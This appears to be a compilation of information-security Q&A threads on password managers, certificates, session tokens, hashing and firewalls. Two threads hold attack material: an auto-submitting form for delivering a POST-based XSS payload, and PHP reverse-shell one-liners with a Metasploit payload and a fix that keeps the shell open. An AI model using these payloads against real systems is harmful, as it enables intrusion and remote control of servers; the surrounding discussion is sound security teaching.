Why LastPass logs me out periodically? I'm using LastPass password manager extension in Google Chrome. I have to input your MASTER password (LastPass's password) to login and get all the functionality of the manager such as autofill passwords and users in multiple sites, etc.

This login lasts for probably an hour but then after coming back I have to input my master password again because it's logged out. I don't understand, shouldn't LastPass keep a cookie or something (sorry, I'm ignorant) to save the login. Why can LastPass save login for an hour, but not a week? Does some certificate expire? Or is there something wrong with my situation?

Addendum info: If I close Chrome and reopen after 5 seconds, LastPass logins automatically without me entering the password.

Several different factors might influence LastPass state:

Automatic logging out is a feature of LastPass that is intended to protect user passwords.

The idea being that a computer left without attention for a long time might indicate it was compromised. As LastPass has no other way of telling who is using the computer, it checks asking for password (which by definition is known only by the right person).

Depending on other protection mechanisms that user employs (for example physical protection), users can alter the time after which they are logged out in LastPass' Preferences. For Chrome the options are:

Automatically Log out when all browsers are closed and Chrome has been closed for (mins)
Automatically Log out after idle (mins)

These settings might be set differently for different machines (like having a large timeout on a desktop computer kept inside your home and a short one on a laptop you take to a cafeteria).
Cleaning cookies on a browser might cause LastPass to log out, as explained here. You could observe a conflict with other plugins (so you should try troubleshooting by disabling all Chrome extensions except LastPass)
LastPass has an option to keep browser logon state kept synced across different browsers (Preferences -> Advanced -> Share login state between other browsers) which might influence the experience. Particularly if one browser experienced problems and got logged out, it might force logging out other browsers.
Lastly you might experience a technical issue that qualifies for contacting LastPass' support as explained here: LastPass logs off almost immediately after I login?


How does Google Chrome manage trusted root certificates Unlike Mozilla Firefox, I've always assumed that Google Chrome does not come with its own certificate trust store, but uses that of the OS. At least on Windows 7 any certificate management related tasks seem to redirect to the same dialog as IE.

But in this case how can Google as a browser vendor announce that they are revoking trust for certain CAs (e.g. WoSign, or more recently Symantec) from Chrome? Isn't the trust store managed and updated by the OS vendor (e.g. Microsoft)?

As noted in the Chromium documentation (on which Google Chrome is based) on the Root Certificate Policy, chrome has a list of "not trusted" root ca to which Google can add the incriminated CA.

  In the case of a compromise of a root certificate authority, Google reserves the right to add that root certificate to the list of root certificates that Google Chrome will not trust

(emphasis mine)


Scan for a specific virus type? Is it possible to tell an antivirus which specific virus type (worm, macro etc) to scan for? Assuming I know the type of virus and just want to save time and scan for it specifically instead of running it though the whole system.

It is not possible with most antiviruses, the reason being that it would be "penny-wise, but pound-foolish".

Most of the resources employed by the antivirus are spent in opening files and reading them (uncompressing, etc.). More often than not, interpreting them from the various executable formats.

It is possible - not in all antiviruses - to reduce time by not scanning classes of objects (Office documents for macros, inside ZIP files, inside email archives, etc.).

But normally an antivirus uses a complicated and optimized "tree" or state machine to scan for viruses. It is not, in other words, something like

foreach signature in TenThousandSignatures do
    if filedata contains signature then
        call alarm
    end
end

which would benefit from replacing TenThousandSignatures with FiveMostProbableSignatures.

To be able to only scan for a single virus, you would need to have an optimized FSM for that one virus, and therefore one FSM for each virus you might want to choose. This would require, first, supplying a lot of FSM packages to the antivirus; and then when you wanted to scan for all viruses, or most of them, the time would be the sum of each time, since all those FSM's would not be integrated in a single one, and would need to run independently, their run time or resource requirements adding up.

That said, it is often done that antiviruses have several FSM packages and you can select the one you wish to employ: usually viruses, malware, adware, and PUA (Potentially Unwanted Applications) / PHA (Potentially Harmful Applications), such as patch droppers, cracks, hacking tools, password finders etc.. . Also, for convenience, you might get a "full database" FSM each first of the month, then the signature updates would be supplied daily as an additional, but much smaller, update package.

Also, some antiviruses use several strategies to scan for different virus families or technologies (polymorphic virus, heuristic scans, etc.), and you might be able to disable the strategies you aren't interested in. Each being independent of the others, the times there add up linearly, so deactivating undesired modules makes sense.

In such cases, the scan time is usually proportional to the number of FSM packages or scanning modules you activate (and, less clearly, proportional to the size/architecture of each).

Finally, there exist some targeted antiviruses that will only scan for their designated target, a single virus or a single virus family. I think ESET used to roll out some "quick response" tailored virus disinfectors for specific, "popular" viruses. Don't know if they still do that.


Prey vs SSH for remote wipe of stolen laptop under Ubuntu I have to be able to wipe a stolen laptop remotely (contractual obligation), and the only product I found that supports that on Ubuntu is Prey Project. (Also appears in some other stack exchange questions, e.g. this.)

However, besides the wiping feature having a moderate price, it seems to me that by just installing SSH to remotely log-in if needed (and do the wiping myself), I get a result which is at least as good, both "feature-wise" and "risk-wise". So the only advantage would be some convenience.

Same feature-wise:
Well, if I can ssh into the laptop and know my root password, I can certainly wipe everything. (Or, if the attacker is so smart as to change the root password, he could then also disable Prey.)
(Although I'm only interested in wiping, I guess this is more or less true for all the other features of Prey: if I log in as root, I can surely block the screen, sound the alarm, show random messages, or transfer files. Of course this would require a bit more work in some cases.)
And, most important, both need an internet connection for work. (So if laptop is not turned on and connected to the internet, then they can't do anything.)

Same risk-wise:
I did not find a description of what Prey does on its site, however, in this answer they state that it "pings regularly a server owned by prey". And the answer also states, that is is open source, and thus probably does not steal any data, or do "weird things" on the machine, but I think this could still be a risk.
In contrast, the risk of opening an SSH port could be that someone finds a way to hack in and steal data or do other "weird things". That is indeed less likely with Prey, since it is pinging out, so does not need to open any ports on the host. However, one could still somehow gain access to Prey, and use it to steal files or wipe data. (And as said before, Prey could do it itself as well.)
Therefore, I consider the two to be equal in terms of additional risks as well.

Question: is the above reasoning and conclusion correct, or am I missing something? In other words, does Prey provide more either feature-wise (can I do something with Prey that I can't do with SSH), or risk-wise (does using Prey have less extra risks than opening an SSH port)?

P.S.: Since the wiping, as I said, is mandated, please don't focus on whether this is a good practice or not (or alternatives, like "you should encrypt instead, and then wiping is not necessary" are also out of scope). However, in case there are any other products/solutions to do the wiping, that would also be interesting.

Nick from Prey's team here.

A quick tip on our wipe tool: It does modify the data before deleting it to avoid its recovery, and you can enable 2FA for extra security in your account.

All our connections are encrypted, and as for data encryption, we're currently working on a remote encryption tool as an alternative to this sort of cases.


No SSL between Cloudflare and S3 static site. A big security issue? So I have a S3 static website. Domain, DNS and proxy is managed via Cloudflare. Cloudflare is set to communicate with browsers using SSL and it in fact enforces SSL for non-SSL requests. However, traffic between CF and S3 is http only, as S3 buckets don't support SSL on their own and i assume I'd have to remedy that using Cloudfront. Now, having Cloudflare AND Cloudfront both invloved is kinda dumb.
So, how bad is it, to have Cloudflare talk to S3 sites directly, without SSL?

Attackers with limited reach like lokal HotSpots or smaller ISP level will not be able to read the data. The traffic they have access to is between the client and Cloudflare and thus protected by SSL. Government-level actors though might have ways to read and maybe even modify the unprotected traffic between Cloudflare and S3. This includes actors from multiple governments.
If this is "A big security issue" or not depends on the kind of data, i.e. how sensitive these are and what is at stake if they get accessed or even modified by others. Additionally there might be explicit regulations how well these specific data need to be protected.


What is advantages of using MTProto for Telegram over using HTTPS? Why did Telegram decide to make their own protocol? What I think is HTTPS is a kind of perfect encryption solution between server and client.

First of all, the Hypertext Transfer Protocol Secured is a special purpose protocol for web browsing and optimized for this use-case. That doesn't stop people for using it for other purposes, but this is not what the protocol was designed for.

MTProto does not just define encryption, but also how individual chat messages and their metadata are structured. Because HTTPS is not a chat protocol, it doesn't have any useful specifications for anything like that. Also, chat protocols need to be able to push messages to clients without them polling the server all the time. HTTP(S) with its request-response model isn't built for that.

Another thing Telegram needs but which HTTPS does not provide is encryption between clients. HTTPS only provides encryption between client and server.


How to exploit XSS in POST request when parameter is going in body? As per my understanding, while exploiting an XSS (in GET request) the attacker will craft the malicious link with a JS payload and will send it to the victim. When the victim clicks on the link the script will send the cookie to the attackers server.

How can I exploit an XSS vulnerability if the parameter is going in the body. How exactly should I create a payload (link or file) and send it to the victim?

You can not craft a link that contains a POST body. So you will have to go a somewhat different route.

You will need to create your own page that contains the payload:

<form action="http://target.com" method="post" onload="this.submit()">
  <input type="hidden" value="payload" name="fieldname">
</form>

Or you can achieve the same effect just using the JavaScript fetch API. Then you need to trick the victim into visiting this page.

This will be a little bit harder since the URL will be different and perhaps look a bit fishy. If you want to avoid that, you can go looking for open redirect vulnerabilities and leverage them to take the victim to your page.

Of course, if the payload is stored on the server, and displayed on a page that can be visited later, this is much simpler - just make the victim visit that page. This is what is called stored XSS.


Is there a difference between editing HTTP messages manually or with burp for example? (WebGoat HTTP intercept exercise "problem") I am diving now into WebGoat, there's this little exercise in the "general" tab calle d "http proxies" which asks you to use zap/burp to intercept and modify a request, this is what is being us asked.

I understood what is being us asked to do, but I don't understand why if I change it manually it doesn't work, whereas if I use the burp button "change request method" does, as it's the same text at the end, am I missing something?

This is the original request

And here after I modify it with the button

The only difference is that I write that GET string manually and then add the ?changeMe=Requests+are+tampered+easily I don't understand why it won't work and it's driving me nuts.

Oh and another thing, if I enter the x-request-intercepted:true below Cookie sometimes wont work, is it being considered body or what? (there isn't a break line)

I'm assuming you mean "use Burp's built-in functionality, such as Change request method", when you say "editing HTTP... with burp" (as opposed to "manually"), and that just changing the request text in the edit box is the "manually" you mean. If that's wrong, please clarify.

Burp does a number of things quietly and automatically, which you might not realize. Among them:

Updating the Content-Length header if you edit the body.
Removing Content-Length and Content-Type if you use its built-in feature to transform a POST request into GET, and vice-versa.
Decompressing and/or stitching together requests and responses that are sent compressed / chunked.

There are some things it does not do (by default), though:

Ensuring there are two newlines at the end of an edited request.
Ensuring newlines are in the expected \r\n form (which most servers are flexible on, but is actually in the spec), although I think it does use that form for pressing Enter/Return within the box regardless of OS.
Removing or modifying headers that don't make sense for a particular verb.
Reformatting the body when you manually change the Content-Type, or vice-versa (changing the header).
Ensuring your headers (or first line) are nicely formatted (or even just well-formed) and have sane values (your x-request-intercepted header is missing a space, and although I don't think that matters I could be misremembering or the server might expect it anyhow because it's typically there).

If you want to compare a request you hand-crafted vs. one that is machine-generated, you can try the Raw tab but the Hex tab is actually more informative; it won't hide things like newline style or other non-printing, whitespace, or similar-looking characters. You can also easily try many small iterations on a request in Burp by using the Repeater tab (most easily done by clicking Action or right-clicking in the request text area and choosing "Send to Repeater"). Repeater is tabbed, remembers history, and can show multiple variants of the same request in different tabs.

At the end of the day, HTTP is all just bytes, and that's what Burp sends. Whether the bytes were manually entered by a human user or added/changed by Burp's request/response modification features is irrelevant. You could also send the same bytes using netcat (nc, ncat, or netcat, depending what you have installed), or any other program that can interact with the network using TCP (and, in the case of HTTPS, TLS; you don't want to try doing the TLS handshake and cryptography manually).


Vulnerabilities of using a token based authentication such as this I'm developing a backend REST API for one of my mobile apps. I'm looking to create a token-based authentication system that would allow for a persistent login and I'm wondering if there are any security flaws that would result of it.

Here is a rundown of my plan:

-The user authenticates their credentials to the server (Note: All passwords will be saved in a hypothetical users table and will be hashed + salted)

-Assuming the credentials are correct and verified, the server then generates an authentication token which is created by concatenating the username, a timestamp and a random string of text. The concatenation will be hashed (the hash will be the token)

-This hash is then stored in the database and is transmitted back to the client (Using SSL), which will be stored and sent in the headers along with the username for every request the client makes.

-The token and username are then verified by the server to match the ones in the database.

-Note: Every time a new successful login is made, a new token will be generated and then replaced in the database preventing multiple devices to be logged into the account at once.

Assuming all database queries are parameterized, what other types of hypothetical vulnerabilities could arise from using a system like this?

This is a classic session management scenario. There are multiple angles though. Let's walk through your workflow.

  The user authenticates their credentials to the server (Note: All passwords will be saved in a hypothetical users table and will be hashed + salted)

This is all good, assuming you are using a strong password hashing algorithm like Argon, bcrypt or PBKDF2.

  -Assuming the credentials are correct and verified, the server then generates an authentication token which is created by concatenating the username, a timestamp and a random string of text. The concatenation will be hashed (the hash will be the token)

In this step, you are creating a self-describing token which is most commonly used in stateless-session management. If you really want to go stateless use JWTs. There is no reason to use a custom algorithm. Beware though going stateless has limitations (no "log-out", no single-session, no idle timeout, no one-true session state, etc.)

You also store the token in the DB which defeats the purpose of stateless tokens. Take your pick here. If you need a single-session setup go with a stateful approach with an opaque token. If you want statelessness, you need to sacrifice the single-session setup as that goes against the very definition of being stateless on server-side.

  -This hash is then stored in the database and is transmitted back to the client (Using SSL), which will be stored and sent in the headers along with the username for every request the client makes.

With a self-describing token, there is no need to send the username along as it is already in the token, integrity protected. (Hint: JWT)

  -The token and username are then verified by the server to match the ones in the database.

If you go stateful this would be a simple lookup: which user belongs to this session? If you go stateless this DB lookup is eliminated and you only need to verify the token integrity and expiration.

  -Note: Every time a new successful login is made, a new token will be generated and then replaced in the database preventing multiple devices to be logged into the account at once.

As described above, if this is a must-have, go stateful with an opaque Bearer token.

  Assuming all database queries are parameterized, what other types of hypothetical vulnerabilities could arise from using a system like this?

There is nothing wrong with your approach however, I recommend you decide how to handle sessions (stateful or stateless w/ JWT). Both routes work and they have trade-offs. A hybrid approach also works, but that needs to be justified by the use-case and from what I understand, your's doesn't seem to fit that.

Once you have that, follow standard security advice:

choose strong keys
limit secret exposure
use well-built libraries instead of coding your own crypto
use strong algorithms
etc..

You can also check out the web API authentication guide I put together for alternatives.


How can I ensure that an android app was installed on a physical device and not an emulator? I want to avoid people installing the app on virtual devices.

Is there any way to tell this? What is best you could do?

Ideally what i want to prevent as a whole is one person or entity creating many accounts to analyze my service easily. The app is only a portal and the processes are server only. I use captchas when account creation and while using the service to ensure human interaction. I also use push up tokens and other hardware and google information to ensure as much as possible the account is being used always from the same device, and passwords etc. if the user changes his device. In other words i want to maximize the human captcha solving cost as much as i can.

I'm not sure that there is a way.  You could examine the hardware configuration to see if it is using any of they typical emulated hardware, but if someone modifies their emulator, it could be setup to look very close to actual hardware.  That is, in fact, the entire point of an emulator.  I'm also not sure what you are trying to prevent by ensuring that it is running on an actual device.  There isn't anything in particularly that I can think of that you can do with an emulator that you can't do with a physical device, unless you are also checking that root is not enabled, though a sophisticated attacker could probably bypass most checks of root as well.

Fundamentally, you can't secure hardware you can't trust.  If it is that critical, offload the process to a server that you have control of.  You have to trust your user and your user hardware if you want to do anything important on it.  Otherwise, the best you can do is obfuscate, but that is then the same realm as DRM and provides pretty minimal security.  If the device can do it, a user can figure out what the device is doing.  The only way to prevent that for sure is to prevent the user from having access to the device doing the work.


Is it safer to "chown" the Applications folder on macOS? Whenever I copy a program into the Applications folder on my Mac, I have to use admin rights to do that. My standard user account (marc) does not have admin rights, so I get an alert and have to fill in the right credentials. I'm the only user on this computer.

I've done that many times, but often ask myself if this is safe, and if it's better to chown the whole Applications folder to my standard user account (marc).

When copy with admin rights, does the program get admin rights? Maybe I'm wrong about that, and there is no risk involved?
With admin rights, the program has access to my user account, so why not limit all it can do to that user, as there are no other users?
Are there downsides or other concerns when I do this?

Maybe it's useless to change it. I've wondered several times what is best. And if I do this, I'll first make an entire copy of the Applications folder so I can get back (of course I have that already with my backups).

Do not do this. It will be much less safe. You aren't giving the applications permission to run as admin. What's happening is that you are giving the Finder temporary permission to write to the Application folder. When you run it, it will be run under your account with your permissions. If you were to "chown" the Applications folder, it would make it much easier for some malware to write to the Applications folder without you knowing, potentially replacing some trusted program.

Just leave it be. It's much more secure the way it is.


How secure is Goodlink for mobile phones when compared to Activesync? Some of our more technical users are arguing to use Activesync for their phones, while the corporate standard is limited to Blackberry and any device that supports Goodlink.

One argument is the theoretical exploit where someone extracts the Goodlink blob via JuiceJacking and decrypt the data from there.  Is this possibility?

How difficult would this be considering a user's PIN code is usually short and subject to brute force?
How does Goodlink security compare to Activesync?
Would APNS or 3LM help in this case?

I do not have answers to your specific questions but I can lend a hand in defending the use of Good.

Activesync requires an exposed server, Good does not.
Activesync depends on a username/password for authentication and the username/password is stored on the device. In the case of android phones there is potential for malware to access this information.
Wiping company data is much cleaner with Good as I can wipe just the good app and leave your personal data. With Activesync I have to wipe your entire device using the Exchange tools.

That being said, I also use the Good app on my iPhone and I have to say it could be improved. I do not think Good offers a good user experience when compared to the default iPhone capabilities for email/calendar/contacts.


Is there a threshold of bits of entropy below which hashing becomes meaningless? I just read a help page by a mail provider in which they state that all mobile phone numbers will be stored as a salted hash.  This strikes me as interesting, since phone numbers don't contain a lot of entropy: about 31 bits by my calculations.

Depending on the hashing function, generating 231 hashes should be quite fast.  Adaptive hash functions like bcrypt allow to increase the number of iterations. Cracking such a hash would take considerably longer, but using too many hashing iterations will slow down the application as a whole.

Long story short: is there such a thing as a lowest amount of entropy below which hashing becomes either pointless or harmful?

For a login function, you should aim to get the hashing process to take around a second.

If you take this post as a guide, 1170ms requires around 8,192 iterations of bcrypt (cost of 13).

This means that your iterations add around 13 bits of effective entropy.

If you have only 31 bits of entropy in a secret, hashed value, then this bcrypt configuration would give you 44 bits of entropy.

As a guide, 47 bits of entropy would take 0.223 Hours maximum to crack per phone number (assuming at 350 billion guesses/Sec). Even if the attacker didn't have these type of resources and they guessed at 2 billion guesses/Sec using a single home PC, this would take 39 hours per phone number to crack.

So, to answer your question, it doesn't make sense when you either need to increase the hashing time to an unacceptable level (a cost of 16 to add 16 bits would be over 9 seconds, what you would describe as harmful to your application), or that the cracking time per secret is below your goal for the sensitivity of the information it is protecting and the resources of your perceived attacker.

If it is acceptable for each phone number to take 39 hours to crack by a casual attacker, then there's no problem with bcrypt at a cost of 13 . This is assuming they are using bcrypt with said cost and not simply storing SHA1(salt + number).


Laptops SSD: Hardware Encryption plus DM-Crypt/Luks - Security and Performance I just bought a new Thinkpad t450s, and put a Samsung 850 pro in it.  My Cpu supports AES-NI and the SSD supports hard-ware based encryption.

My question is, is there any reason to do Both Hardware-based encryption and Software (DM-crypt/Luks), or would it better to do only one or the other?  If there are concerns about hardware encryption, could using both compromise the software-based encryption in any way?

I understand there are concerns about hardware-based encryption having backdoors etc, but it also sounds like it is significantly faster. Using this setup, will there be a significant performance hit using just LUKS?

My primary concern is security; performance is secondary to that, but I don't want to go over-the-top if it will make no real difference.

Does the hardware-encryption support (in the SSD) at all speed up software encryption in linux?

Using only hardware encryption means you have to trust the SSD in addition to trusting the OS and CPU/RAM. With LUKS, you only need to trust the OS and CPU/RAM.

In practice, either one should do the job. But I'd trust LUKS slightly more because it's open source.  Hardware encryption can be convenient though.

If you are really paranoid, you want to use both to hedge your bet such that flaws in either would not compromise your security. As far as I can tell, there's no reduction in security by using both at the same time, a they're independent from each other. It might complicate data recovery if you ever need to do it.

  Does the hardware-encryption support (in the SSD) at all speed up software encryption in linux?

No.


Are AWS Signed URL's crawled by google? I have used Amazon pre signed url to share content.

https://boto3.amazonaws.com/v1/documentation/api/latest/guide/s3-presigned-urls.html

Is google able to crawl this url? I'm sharing this url with just one client. What about other services? there are some of theme that let you share content with someone by creating a seemingly random url (or even using hashes) like www.somedomain.com/something/15b8b348ea1d895d753d1acb57683bd9
Is that url crawled by google or other search engines?

Thanks

A presigned URL is like a temporary password included in the URL. Everybody which knows this URL can have access to it as long as the URL is not expired. But web crawlers (there are way more crawlers than Google) will be able to access the URL only if they get to know it because it was included in some public web site or similar. They would not be able to just guess it and crawl it (and would not even try it) because the secret part of the URL is long enough so that it cannot be brute forced during the life time of the URL.


Reverse PHP shell disconnecting when netcat listener Whilst performing a penetration test on a testing box, I came across a vulnerability regarding LotusCMS: https://www.exploit-db.com/exploits/18565

Rather than rely on Metasploit or Meterpreter to carry out this exploit, I read the Metasploit code and determined exactly how it was exploiting the parameter within the web page. Upon trying to use the inline PHP code (with a netcat lister on my attacking box):

sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");

The shell connects to the netcat listener but is then instantly dropped.

Can anyone explain why netcat drops the reverse shell?

Admitently my knowledge of the stdin, stdout and stderr is non-existent? Could this be something to be with the dropping of the connection?

I also use base64 on the inline reverse shell script above (not sure if this affects anything).

Thanks in Advance!

This is the code from the Metasploit payload (decoded from base64):

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input

You are executing on a server:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

while at the same time you have a netcat listening on 1234.

First issue I see, your server code is:

connecting to ip:port
running /bin/sh -i with input and output redirected to the fd 3 and returning the last line (don't confuse php exec with shell/C exec).

Now, if the connection opened had the fd 3, the shell will attach to that descriptor. The next descriptor to open may be fd 3. However, if it is already opened the new connection will have a different descriptor and your shell won't be plugged where you want. For instance, the above code works for mi when running php on a cli, but not when php is running as an apache module (there the socket is the fd 12 for me)

We can use this longer command to find out the highest-level file descriptor and use it in the redirection:

 passthru('FD=`ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done`; /bin/sh -i <&$FD >&3 2>&$FD');

However, this has a drawback in that the shell can only redirect descriptors 1-9 so with descriptor 12, "<&12" would actually be attempting to redirect descriptor 1, not 12. And it being a socket, we can't open a new descriptor to /dev/self/fd/12 (No such device or address)

Thus, rather than attaching to the filedescriptor to the in shell script, it's much easier to do that from the php side by using a different function for running the command:

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Interestingly, the shell stays open even after the enclosing script finishes, so php max_execution_time isn't an issue.


Unix - Automated MD5 Checksum Verification I am currently looking into ways of securing a number of E-Commerce websites which serve a large amount of traffic every day.

So far we have implemented WAF's (Web Application Firewall), SSL certificates, malware detection (using a range of different software) and also made changes to the E-Commerce software which will make breaching the site harder (changing admin URLs etc).

An idea was given to me by a co-worker which would be to check the MD5Sum of each and every file within the E-Commerce software. My Question is: Is this something which is achievable/worth doing and if so, how would I go about MD5Summing 10k+ files on each site?

What you describe is commonly known as a host intrusion detection system. Have a google and you'll find stuff like OSSEC and Tripwire. Alternatively, 6 shell commands:

 mv currentsums oldsums
 find /var/www/html -iname \*.php -exec md5sum {} \; | \
    awk '{ print $2 "," $1 }' | sort >currentsums
 diff currentsums oldsums

(you may wish to treat this as a starting point)

BTW: Your list of things you've done to make this secure has some esoteric stuff in it but none of the basics for hardening a server.


Are timing attacks for PHP used in practice? I'm curious, to what extent are passwords exploitable if the underlying password comparison is vulnerable to timing attacks. My main concern is that internet speed continuously varies, webserver response times change depending on server load, etc.

If the timing difference is in plaintext password comparison, it is not really feasible to do this over the Internet. However, it is often possible for the attacker to get access to a computer in the same network, or even to a VM on the same hardware, by hosting his attack with the same hosting provider as the target web site.

If the site uses hashed passwords and compares the hashes instead of the plaintext password, this timing attack scenario doesn't apply anymore.


Privacy configuration sanity check Looking to maximize anonymity. What will go wrong with this configuration (other than it can be slow)?

Laptop with factory NIC removed and replaced (USB NIC or other).
Running Linux as main (host) OS
Running Express VPN in host
Running VMWare Workstation
VM with second Linux install (Kali)
VM with Kali running Nord VPN
Browse with TOR using VM only, otherwise everything is out via the double VPN set-up.

If I don’t need extra anonymity (and I need speed) I can kill a VPN.

Both VPNs are purchased with tumbled bitcoins on no-ID internet in Vietnam. Any email used is similarly anonymous.

Running with DNS encryption behind the VPNs just because.

What am I missing with that and where is the weakness (beyond the usual user weakness of not having good discipline)?
Can VMWare broadcast any identifying info that can tie back to that purchase?

I assume non-paid proxies generally are not secure. I assume individually any VPN can be compromised and TOR is compromised as a rule, but taken as a group, it is too difficult to tackle unless the motivation is extremely high.

My opinion is that you are trying to use quite a full set of security/anonymy tools. Still my opinion is that few flaws if any could allow to identify you from a remote host. Now if the question is is it enough to guarantee my anonymity my opinion will be no.

Fingerprinting methods could allow to identify your connection practices. No way to identify who and where you are till now. But if other evidences could make a legal inquiry suspect you, the knowledge of both how your computer is configured and what were the connection pratices could add evidences that your machine was used. And as you speak of China, my advice is to never underestimate rubber hose attack.

Of course if all what your need is that little cousin cannot guess that you hacked if facebook page, that is probably too much.

TL/DR: as said by Shroeder in its comment, you must first define what are the threats you want to address and only them setup a security system relevant for them.


XSS issues for hidden fields in .NET We have a .NET 4 web application with a few hidden form fields.
When the site was tested for XSS vulnerabilities, these hidden fields were the first victims. How can we protect and safeguard our hidden fields? For normal textboxes and other fields, we use server side validation. But how do we check hidden fields to avoid XSS issues?

Hidden fields are only a client-side convention. On the server side you are just seeing strings of data. XSS protections should not vary whether it is a hidden field, drop down, or any other input field. Remember, it is possible to just send raw HTTP traffic to your server, a web browser just makes it pretty and easy to work with.

When the data is retrieved server side in either the GET or POST variables they are all going to be treated the same. So every field needs to be checked, in other words, all user provided input should be validated. Check out the OWASP general guidance and the .NET Security Guidance.

Depending on the specific setup on .NET you will need a custom validator as one technique.


Would Gmail server be able to protect me from phishing attacks if I'm using a stock email app on Android? I have a Gmail account and I am using Samsung email app. Recently I have switched to the Gmail app because I thought using the Gmail app would be safer because that app would automatically filter phishing attacks. I wonder if Google handles security threats on the server side and automatically puts unsafe emails into a different folder such as the spam folder. Is it a safe practice to use the Samsung email app against phishing, does Gmail handle Security on the server side? Do I have to use the Gmail app so that Gmail filters malicious emails?

Spam and phishing protections are handled on the server side, not on the app. It is much easier to put all that processing power and the analysis and correlation on their servers than trying to do all that on a device or a browser.


is pkcs#7 suitable for signing and encrypting zip files? I'm looking to protect zip files that I will be regularly sending to a 3rd party.

I need to ensure strong confidentiality and non-repudation.  I would like signing/encryption to be based on asymmetric keys to simplify key management.

Is PKCS#7 suitable for the use case described above?

Updated:

The zip file can be signed and the result can be encrypted using PKCS#7 Cryptographic Message Syntax.

PKCS#7, now known as CMS, is a generic format for message with some content which is signed and/or encrypted. The content is any sequence of bytes so you can fit any kind of file in it, including Zip archives.

Of course CMS is just a tool. Using it won't magically sprinkle security everywhere. You will need to use it with some public-key infrastructure which will take care of distributing the public keys (as X.509 certificates). 95% of PKI is management procedures, not software.


Open DNS Dynamic and Static IP I want to block adult sites not torrents and other.
Currently i am using "OpenDNS Home free". i set those free DNS
208.67.222.222 and 208.67.220.220 in router DNS fields and also i have "OpenDNS updater". But the problem is that i used my pc after office.
My router's IP changes 3 or 4 times a day(due to restart of router).
This means if someone tries to access blocked content(which i blocked in web content filtering) during the day, He will access it.
Please tell me if i am wrong.

What to do overcome that problem?
When selecting "OpenDNS Home" Do i need that 2 DNS addresses in the router or it is only for free(not for "OpenDNS Home").
Further if i use static IP(i will buy if required) then will my network be fully secured or dynamic IP will work better?

The OpenDNS updater is what keeps track of your IP address for OpenDNS.  It uses this IP address to track incoming DNS requests to their service.  If the updater is on your PC and you take it to work, OpenDNS will no longer be updating your HOME router IP.  It will be updating your work IP.  If you have other computers being used at your home you need to install the updater on those PC's as well so that OpenDNS knows what YOUR router IP is.

The two DNS IP addresses are not NEEDED but recommended.  The purpose is to have a back up in case one goes down.

The use of a static IP address would be easier and more reliable than the dynamic because it will no longer rely on the updater and since the IP never changes, anyone that uses your home internet will always be subjected to the restrictions imposed by the OpenDNS rules.


Why does a nmap scan give different results depending on whether it's run from inside or outside a LAN I am testing/setting up a Thompson TG585v7 router/firewall.

Results when running nmap from a computer INSIDE the LAN

$ sudo nmap -O 210.86.xxx.xxx

Starting Nmap 6.40 ( http://nmap.org ) at 2015-02-22 10:55 NZDT
Host is up (0.0049s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
23/tcp   open  telnet
80/tcp   open  http
443/tcp  open  https
1723/tcp open  pptp

Results when running nmap from a computer OUTSIDE the LAN

michael@trusty-ssd:~$ sudo nmap -Pn 210.86.xxx.xxx

Starting Nmap 6.40 ( http://nmap.org ) at 2015-02-22 11:10 NZDT
Host is up (0.038s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
1935/tcp open  rtmp

Is this happening because

When scan is run from outside LAN firewall responds with rules from INPUT chain?
When scan is run from inside LAN firewall responds with rules from OUTPUT chain?

It is normal for external (WAN) and internal (LAN) traffic to follow different paths and for those paths to have different filtering behaviour. In most routers, even SOHO type devices, you will normally find at least 3 interfaces, WAN, LAN and WLAN. The LAN and WLAN traffic originates from within your network and devices connected in this way may have private non-routable IP addresses. The WAN interface is for connections from outside your network. If you own enough IP addresses i.e. you have a class C or your ISP has assigned you a range of IP addresses, devices inside your network may have a 'real' IP address which can be routed, but for smaller networks, it is more common for the internal network to have private IP addresses and a single public IP address, which is associated with your end of the WAN connection. In this case, your router will perform NAT (Network Address Translation) to map traffic from internal private IPs to your public IP and vice-versa for connection based protocols like TCP. You can also have port forwarding, which allows connections initiated from the outside to be routed to an IP within your network.

The difference you observe between internal and external scans is likely due to different firewall policies being applied to the traffic based on the source IP and possible the interface it comes in on. For example, you might filter out any attempts to connect via your WAN interface for IP addresses which are within your IP range and filter out connections from within your LAn/WLAN for IP addresses which are not within your IP range.

You may also filter access to ports/protocols/servers based on the source interface (LAN/WLAN, WAN) or the source IP address. You may also have multiple levels of filtering. An important concept in security is 'security in depth'. This refers to having more than one layer of defence. For example, your scan from outside the network could be filtered at the boarder firewall or it could be filtered at the server firewall. These days, its not uncommon to find filtering at the boarder, at the server and even at the application level.

There are also reactive and deep packet firwalls. For example, you might see different results from your external scans depending on the number of scan you perform or the time between scans or the number of hosts you scan. A reactive firewall will track what is occurring and if it sees a pattern which it feels is unusual or could represent bad guys trying to scan the network or a host, it might change how it is filtering or even provide misleading information. Deep packet inspection firewalls might even look at the packets your sending and decide they don't look like normal traffic and drop them.

Bottom line, the information you get back from a scan may not be telling you as much as you think and may not even be telling you the truth. The information is an indicator which needs to be combined with other information before you can draw conclusions on what is going on.


